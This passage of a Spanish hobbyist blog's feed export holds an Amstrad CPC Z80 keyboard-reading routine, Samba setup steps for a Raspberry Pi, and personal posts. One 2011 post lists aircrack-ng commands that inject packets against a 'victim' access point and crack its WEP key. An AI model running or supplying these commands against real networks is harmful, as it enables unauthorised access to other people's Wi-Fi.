escape.&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span face=&quot;&quot; style=&quot;background-color: #f1f1f1; color: #414141; font-family: &amp;quot;tahoma&amp;quot;,&amp;quot;arial&amp;quot;,&amp;quot;helvetica&amp;quot;,sans-serif; font-size: 14px;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;content&quot; style=&quot;background-color: #f1f1f1; border-image: none; border: 0px; clear: both; color: #414141; font-family: &amp;quot;tahoma&amp;quot;,&amp;quot;arial&amp;quot;,&amp;quot;helvetica&amp;quot;,sans-serif; font-size: 14px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: 21px; margin: 0px; max-width: 832px; min-height: 3em; overflow: auto; padding: 0px 0px 1px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;div class=&quot;codebox&quot; style=&quot;background-color: white; border-image: none; border: 1px solid rgb(201, 210, 216); font-family: inherit; font-size: 1em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow-x: scroll; padding: 3px; vertical-align: baseline;&quot;&gt;&lt;p style=&quot;border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-image: initial; border-left-color: initial; border-left-style: initial; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 1px; font-size: 12px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: bold; line-height: 18px; margin: 0px 0px 3px; overflow: hidden; padding: 0px; text-transform: uppercase; vertical-align: baseline;&quot;&gt;CÓDIGO:&amp;nbsp;&lt;a href=&quot;https://www.amstrad.es/forum/viewtopic.php?f=6&amp;amp;t=163#&quot; style=&quot;border-image: none; border: 0px; color: #3f3f3f; direction: ltr; font-size-adjust: none; font-stretch: inherit; font: inherit; margin: 0px; padding: 0px; text-decoration-line: none; unicode-bidi: embed; vertical-align: baseline;&quot;&gt;SELECCIONAR TODO&lt;/a&gt;&lt;/p&gt;&lt;code style=&quot;border-image: none; border: 0px; color: seagreen; display: block; font-family: &amp;quot;monaco&amp;quot;,&amp;quot;andale mono&amp;quot;,&amp;quot;courier new&amp;quot;,&amp;quot;courier&amp;quot;,monospace; font-size: 0.9em; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; height: auto; line-height: 1.3em; margin: 2px 0px; max-height: 200px; overflow: auto; padding: 5px 0px 0px; vertical-align: baseline;&quot;&gt;; -----------------------------------------------------------------------------&lt;br /&gt;; |Rutinas para detección de teclado leyendo diréctamente el hardware del CPC |&lt;br /&gt;; |Raúl Simarro (Artaburu) 2006 |&lt;br /&gt;; -----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;;_______________________________________________________________________________&lt;br /&gt;; Ejemplo&lt;br /&gt;;_______________________________________________________________________________&lt;br /&gt;&lt;br /&gt;ORG &amp;amp;4000&lt;br /&gt;&lt;br /&gt;xor a&lt;br /&gt;ld (salir),a&lt;br /&gt;&lt;br /&gt;_bucle_teclado&lt;br /&gt;call detecta_teclas_hardware&lt;br /&gt;ld a,(salir)&lt;br /&gt;cp 1 ;termina al pulsar esc&lt;br /&gt;jp nz,_bucle_teclado&lt;br /&gt;&lt;br /&gt;ret&lt;br /&gt;salir db 0&lt;br /&gt;;______________________________________________________________________________&lt;br /&gt;detecta_teclas_hardware ; cada vez que se quieran detectar&lt;br /&gt;di ; las teclas pulsadas se debe&lt;br /&gt;call comprobacion_teclas_pulsadas ; ejecutar esta rutina&lt;br /&gt;ei&lt;br /&gt;&lt;br /&gt;ld a,(teclado)&lt;br /&gt;;_________________________________________________&lt;br /&gt;; movimientos extras&lt;br /&gt;;_________________________________________________&lt;br /&gt;;cp %00000101&lt;br /&gt;;jr z,arriba_derecha&lt;br /&gt;;cp %00000110&lt;br /&gt;;jr z,arriba_izquierda&lt;br /&gt;;cp %0001001&lt;br /&gt;;jr z,arriba_corto_derecha&lt;br /&gt;;cp %00001010&lt;br /&gt;;jr z,arriba_corto_izquierda&lt;br /&gt;;_________________________________________________&lt;br /&gt;&lt;br /&gt;cp %00000100&lt;br /&gt;jp z, tecla_arriba&lt;br /&gt;&lt;br /&gt;cp %00001000&lt;br /&gt;jp z, tecla_abajo&lt;br /&gt;&lt;br /&gt;cp %00000010&lt;br /&gt;jp z, tecla_izquierda&lt;br /&gt;&lt;br /&gt;cp %00000001&lt;br /&gt;jp z, tecla_derecha&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;comprobacion_teclas_pulsadas&lt;br /&gt;xor a&lt;br /&gt;ld (teclado),a ;Reinicia a 0 la vble teclado&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ld hl,tecla_izquierda_x+1&lt;br /&gt;ld a,(HL)&lt;br /&gt;ld (linea_a_buscar+1),a ;cambia la línea a explorar&lt;br /&gt;XOR A&lt;br /&gt;call detecta_teclado_x ; esta rutina lee la línea del teclado correspondiente&lt;br /&gt;DEC hl ; pero sólo nos interesa una de las teclas.&lt;br /&gt;and (HL) ;para filtrar por el bit de la tecla (puede haber varias pulsadas)&lt;br /&gt;CP (hl) ;comprueba si el byte coincide&lt;br /&gt;call z,tecla_izquierda_pulsada&lt;br /&gt;&lt;br /&gt;ld hl,tecla_derecha_x+1&lt;br /&gt;ld a,(HL)&lt;br /&gt;ld (linea_a_buscar+1),a&lt;br /&gt;XOR A&lt;br /&gt;call detecta_teclado_x&lt;br /&gt;DEC hl&lt;br /&gt;and (HL)&lt;br /&gt;CP (hl)&lt;br /&gt;call z,tecla_derecha_pulsada&lt;br /&gt;&lt;br /&gt;ld hl,tecla_arriba_x+1&lt;br /&gt;ld a,(HL)&lt;br /&gt;ld (linea_a_buscar+1),a&lt;br /&gt;XOR A&lt;br /&gt;call detecta_teclado_x&lt;br /&gt;DEC hl&lt;br /&gt;and (HL)&lt;br /&gt;CP (hl)&lt;br /&gt;call z,tecla_arriba_pulsada&lt;br /&gt;&lt;br /&gt;ld hl,tecla_abajo_x+1&lt;br /&gt;ld a,(HL)&lt;br /&gt;ld (linea_a_buscar+1),a&lt;br /&gt;XOR A&lt;br /&gt;call detecta_teclado_x&lt;br /&gt;DEC hl&lt;br /&gt;and (HL)&lt;br /&gt;CP (hl)&lt;br /&gt;call z,tecla_abajo_pulsada&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;; Comprueba si se ha pulsado ESC&lt;br /&gt;ld a,8&lt;br /&gt;ld (linea_a_buscar+1),a&lt;br /&gt;XOR A&lt;br /&gt;di&lt;br /&gt;call detecta_teclado_x&lt;br /&gt;ei&lt;br /&gt;cp 4&lt;br /&gt;jp z, esc_pulsado&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;esc_pulsado&lt;br /&gt;ld a,1&lt;br /&gt;ld (salir),a&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;tecla_izquierda_pulsada&lt;br /&gt;ld a,(teclado)&lt;br /&gt;or %00000001&lt;br /&gt;ld (teclado),a&lt;br /&gt;ret&lt;br /&gt;tecla_derecha_pulsada&lt;br /&gt;ld a,(teclado)&lt;br /&gt;or %00000010&lt;br /&gt;ld (teclado),a&lt;br /&gt;ret&lt;br /&gt;tecla_arriba_pulsada&lt;br /&gt;ld a,(teclado)&lt;br /&gt;or %00000100&lt;br /&gt;ld (teclado),a&lt;br /&gt;ret&lt;br /&gt;tecla_abajo_pulsada&lt;br /&gt;ld a,(teclado)&lt;br /&gt;or %00001000&lt;br /&gt;ld (teclado),a&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;detecta_teclado_x ;Tomado de las rutinas básicas que aparecen&lt;br /&gt;;en los documentos de Kevin Thacker&lt;br /&gt;&lt;br /&gt;ld bc,&amp;amp;f7*256+%10000010&lt;br /&gt;out (c),c ;PPI A OUT. RESET.&lt;br /&gt;&lt;br /&gt;ld bc,&amp;amp;f400+14 ;Registro 14 del PSG (Puerta A)&lt;br /&gt;out (c),c ;(contains keyboard line data)&lt;br /&gt;&lt;br /&gt;ld b,&amp;amp;f6 ;PSG control&lt;br /&gt;ld c,%11000000 ;Select Register 14 for use&lt;br /&gt;out (c),C ;send&lt;br /&gt;&lt;br /&gt;ld c,0 ;PSG inactive&lt;br /&gt;out (c),c ;send&lt;br /&gt;&lt;br /&gt;ld b,&amp;amp;f7 ;8255 PPI control&lt;br /&gt;ld c,%10010010 ;Port A and Port C (upper) - Operating mode 0&lt;br /&gt;;Port A input, Port C (upper) output.&lt;br /&gt;&lt;br /&gt;;Port B and Port C (lower) - Operating mode 0&lt;br /&gt;;Port B input, Port C (lower) output&lt;br /&gt;&lt;br /&gt;out (c),c ;send control byte&lt;br /&gt;&lt;br /&gt;;;READ KEYBOARD LINE&lt;br /&gt;&lt;br /&gt;ld b,&amp;amp;F6 ;PSG control + keyboard line wanted&lt;br /&gt;ld a,%01000000 ;PSG control - read&lt;br /&gt;&lt;br /&gt;; &amp;gt;&amp;gt; linea a buscar &amp;lt;&amp;lt;&lt;br /&gt;linea_a_buscar&lt;br /&gt;; &amp;gt;&amp;gt; linea a buscar &amp;lt;&amp;lt;&lt;br /&gt;or 1 ;keyboard line 1 ;Cambio esta línea para explorar distintas&lt;br /&gt;;líneas del teclado.&lt;br /&gt;out (c),a ;send it&lt;br /&gt;ld b,&amp;amp;F4 ;Port to get PSG port A (register 14) data&lt;br /&gt;in a,(c) ;Keyboard data from keyboard line 9&lt;br /&gt;cpl&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;teclado db 0 ;Este byte indicará qué teclas han sido pulsadas&lt;br /&gt;;después de un ciclo de exploración&lt;br /&gt;linea db 0&lt;br /&gt;bte db 0&lt;br /&gt;tecla_0 dw &amp;amp;0204&lt;br /&gt;;teclado_usable ; teclas del cursor, cada tecla está definida por su bit y su línea.&lt;br /&gt;tecla_izquierda_x dw &amp;amp;0002 ; bit 0, línea 2&lt;br /&gt;tecla_derecha_x dw &amp;amp;0101 ; bit 1, línea 1&lt;br /&gt;tecla_arriba_x dw &amp;amp;0001 ; bit 0, línea 1&lt;br /&gt;tecla_abajo_x dw &amp;amp;0004 ; bit 0, línea 4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;tecla_arriba&lt;br /&gt;;operaciones&lt;br /&gt;ld a,65&lt;br /&gt;call &amp;amp;bb5a ; como ejemplo, imprime la letra A,&lt;br /&gt;; &amp;amp;BB5A es la rutina del firmware que escribe un caracter en pantalla.&lt;br /&gt;ret&lt;br /&gt;tecla_abajo&lt;br /&gt;;operaciones&lt;br /&gt;ld a,66&lt;br /&gt;call &amp;amp;bb5a ; como ejemplo, imprime la letra B&lt;br /&gt;ret&lt;br /&gt;tecla_izquierda&lt;br /&gt;;operaciones&lt;br /&gt;ld a,67&lt;br /&gt;call &amp;amp;bb5a ; como ejemplo, imprime la letra C&lt;br /&gt;ret&lt;br /&gt;tecla_derecha&lt;br /&gt;;operaciones&lt;br /&gt;ld a,68&lt;br /&gt;call &amp;amp;bb5a ; como ejemplo, imprime la letra D&lt;br /&gt;ret&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;signature&quot; id=&quot;sig1769&quot; style=&quot;background-color: #f1f1f1; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: initial; border-left-style: initial; border-right-color: initial; border-right-style: initial; border-top-color: rgb(194, 194, 194); border-top-style: dotted; border-width: 1px 0px 0px; clear: none; color: #525252; font-family: &amp;quot;tahoma&amp;quot;,&amp;quot;arial&amp;quot;,&amp;quot;helvetica&amp;quot;,sans-serif; font-size: 12px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: 18px; margin: 10px 0px 0px; overflow: hidden; padding: 10px 0px 0px; vertical-align: baseline; width: 304px;&quot;&gt;Salu2,&lt;br /&gt;Arta&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/966519171618193358/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/08/rutina-deteccion-teclado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/966519171618193358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/966519171618193358'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/08/rutina-deteccion-teclado.html' title='Rutina detección teclado'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5530982695845064247</id><published>2020-08-22T04:48:00.002-07:00</published><updated>2020-08-22T04:48:15.636-07:00</updated><title type='text'>Rutinas cpc ensamblador</title><content type='html'>&lt;p&gt;&amp;nbsp;Aquí voy a ir poniendo rutinas creo y espero que útiles para el micro cpc de amstrad.&lt;/p&gt;&lt;p&gt;Son recopilatorios de varios sitios&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5530982695845064247/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/08/rutinas-cpc-ensamblador.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5530982695845064247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5530982695845064247'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/08/rutinas-cpc-ensamblador.html' title='Rutinas cpc ensamblador'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-3204510960527561142</id><published>2020-06-01T13:26:00.000-07:00</published><updated>2020-06-01T13:26:09.547-07:00</updated><title type='text'>Instalar samba en raspbian</title><content type='html'>&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;Instrucciones a seguir&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;sudo apt-get install samba samba-common-bin&lt;/pre&gt;
&lt;div&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;sudo cp /etc/samba/smb.conf smb.old&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;sudo nano -w /etc/samba/smb.conf&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;[pi 16GB]
comment = USB Share
path = /media/16GB
writeable = Yes
create mask = 0777
directory mask = 0777
browseable = Yes
valid users @users
force user = pi&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;background-color: white; box-sizing: inherit; color: #222222; font-family: monospace, monospace; font-size: 16px;&quot;&gt;&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;sudo smbpasswd -a pi&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;sudo /etc/init.d/smbd restart&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;
&lt;/pre&gt;
&lt;pre lang=&quot;bash&quot; style=&quot;box-sizing: inherit; font-family: monospace, monospace;&quot;&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/3204510960527561142/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/06/instalar-samba-en-raspbian.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/3204510960527561142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/3204510960527561142'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/06/instalar-samba-en-raspbian.html' title='Instalar samba en raspbian'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5205664775794660421</id><published>2020-05-28T11:43:00.001-07:00</published><updated>2020-05-28T11:43:34.930-07:00</updated><title type='text'></title><content type='html'>He probado el ubuntu Server en la Raspberry. Dos minutos ha durado el pobre, he vuelto a poner raspbian.&lt;br /&gt;
Lento, al abrir Firefox y la página de winape es un suplicio.&lt;br /&gt;
Todo porque me gusta probar cosas en la pi, y le instalo muchas cosas que luego no se sacarles provecho. Y no se desinstalarla o configurarlos bien&lt;br /&gt;
Me paso con boinc( aprovechar el tiempo muerto de la CPU para investigación del coronavirus).&lt;br /&gt;
El pihole, para quitar publicidad al navegar por internet ( no noto mejoría ninguna)&lt;br /&gt;
uTorrent, que por gui se configura y no sirve para configurar por terminal.&lt;br /&gt;
Winape, que me gusta trastear con los cpc, estoy intentando aprender ensamblador , y no logro ejecutarlo&lt;br /&gt;
&amp;nbsp;Bueno, por ahora es todo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5205664775794660421/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/05/he-probado-el-ubuntu-server-en-la.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5205664775794660421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5205664775794660421'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/05/he-probado-el-ubuntu-server-en-la.html' title=''/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5109492254178279395</id><published>2020-04-13T11:12:00.001-07:00</published><updated>2020-04-13T11:12:48.519-07:00</updated><title type='text'>Mucho tiempo</title><content type='html'>Llevo mucho son escribir. Ahora con móvil, sin ordenador.&lt;br /&gt;
Uso una Raspberry,peleándome con ella. Uso raspbian, intento poner amule,torrent,jdownloader y plex server. Y a veces funciona.&lt;br /&gt;
Iré poniendo ideas de cómo manejarlo todo.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5109492254178279395/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/04/mucho-tiempo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5109492254178279395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5109492254178279395'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/04/mucho-tiempo.html' title='Mucho tiempo'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-6011369970352176453</id><published>2016-12-10T13:46:00.002-08:00</published><updated>2016-12-10T13:46:31.512-08:00</updated><title type='text'></title><content type='html'>Tres años largos han pasado. Muchas cosas también. &lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #353535; font-family: Merriweather, &amp;quot;Times New Roman&amp;quot;, Times, serif;&quot;&gt;&lt;i&gt;&lt;b&gt;Él cumplió a la perfección su rol como padre, y yo, intenté cumplir con mi rol como hija, pero no por obligación, sino por amor.&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #353535; font-family: Merriweather, &amp;quot;Times New Roman&amp;quot;, Times, serif;&quot;&gt;Otra vez ha golpeado la enfermedad.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #353535; font-family: Merriweather, &amp;quot;Times New Roman&amp;quot;, Times, serif;&quot;&gt;Espero ir a buen ritmo en esta via.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #353535; font-family: Merriweather, &amp;quot;Times New Roman&amp;quot;, Times, serif;&quot;&gt;Gracias&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/6011369970352176453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2016/12/tres-anos-largos-han-pasado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6011369970352176453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6011369970352176453'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2016/12/tres-anos-largos-han-pasado.html' title=''/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-1598270494898668946</id><published>2013-06-24T12:45:00.001-07:00</published><updated>2013-06-24T12:45:19.385-07:00</updated><title type='text'>tanto tiempo sin escribir</title><content type='html'>hace tiempo que no pongo nada aqui.&lt;br /&gt;
me he sentido desganado, con tanto tiempo por estar parado y ni siquiera una misera linea.&lt;br /&gt;
ahora, me siento con mas ganas, pocas pero con mas que antes&lt;br /&gt;
decir qu renove el ordenaror, tengo una multifuncion y me encanta.&lt;br /&gt;
estoy trabajando por ahora. ño echaba de menos, que quieres que te diga.&lt;br /&gt;
un saludo!</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/1598270494898668946/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2013/06/tanto-tiempo-sin-escribir.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1598270494898668946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1598270494898668946'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2013/06/tanto-tiempo-sin-escribir.html' title='tanto tiempo sin escribir'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-1919232097319275</id><published>2012-07-21T15:32:00.000-07:00</published><updated>2012-07-21T15:32:32.625-07:00</updated><title type='text'>españa no va bien</title><content type='html'>hace mucho que no escribo. pero quiero hacerlo. ultimamente la situacion no es buena, mas bien es mala. mucho paro, sinvergüenza, corrupto, enchufado y pobreza. desesperacion. y hartazgo.&lt;br /&gt;
se acabo.&lt;br /&gt;
esto se acabo.&lt;br /&gt;
&lt;a href=&quot;http://www.facebook.com/photo.php?fbid=187236134739785&amp;amp;set=a.104495389680527.3672.100003601986342&amp;amp;type=1&amp;amp;ref=nf&quot;&gt;http://www.facebook.com/photo.php?fbid=187236134739785&amp;amp;set=a.104495389680527.3672.100003601986342&amp;amp;type=1&amp;amp;ref=nf&lt;/a&gt;&lt;br /&gt;
nos vemos en las calles, en los foros y en las redes.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/1919232097319275/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2012/07/espana-no-va-bien.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1919232097319275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1919232097319275'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2012/07/espana-no-va-bien.html' title='españa no va bien'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-7195231695862798996</id><published>2011-09-18T10:04:00.000-07:00</published><updated>2011-09-18T10:04:38.246-07:00</updated><title type='text'></title><content type='html'>Escribo las instrucciones para poner en terminal de BackTrack , para sacar las claves WEP.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;airmon-ng&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;airmon-ng start wlan0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;airodump-ng mon0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;airodump-ng -w nombrered -c numerocanal --bssid macvictima mon0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;aireplay-ng -1 0 -a macvictima mon0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;aireplay-ng -3 -b macvictima mon0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;aircrack-ng *.cap&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
supongo que sabeis que hace cada cosa y que hay que hacer despues de cada instrucccion.&lt;br /&gt;
 </content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/7195231695862798996/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2011/09/escribo-las-instrucciones-para-poner-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7195231695862798996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7195231695862798996'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2011/09/escribo-las-instrucciones-para-poner-en.html' title=''/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-8738339130726139977</id><published>2011-08-29T09:16:00.000-07:00</published><updated>2011-08-29T09:16:50.029-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="banco"/><category scheme="http://www.blogger.com/atom/ns#" term="calculo"/><category scheme="http://www.blogger.com/atom/ns#" term="curso"/><category 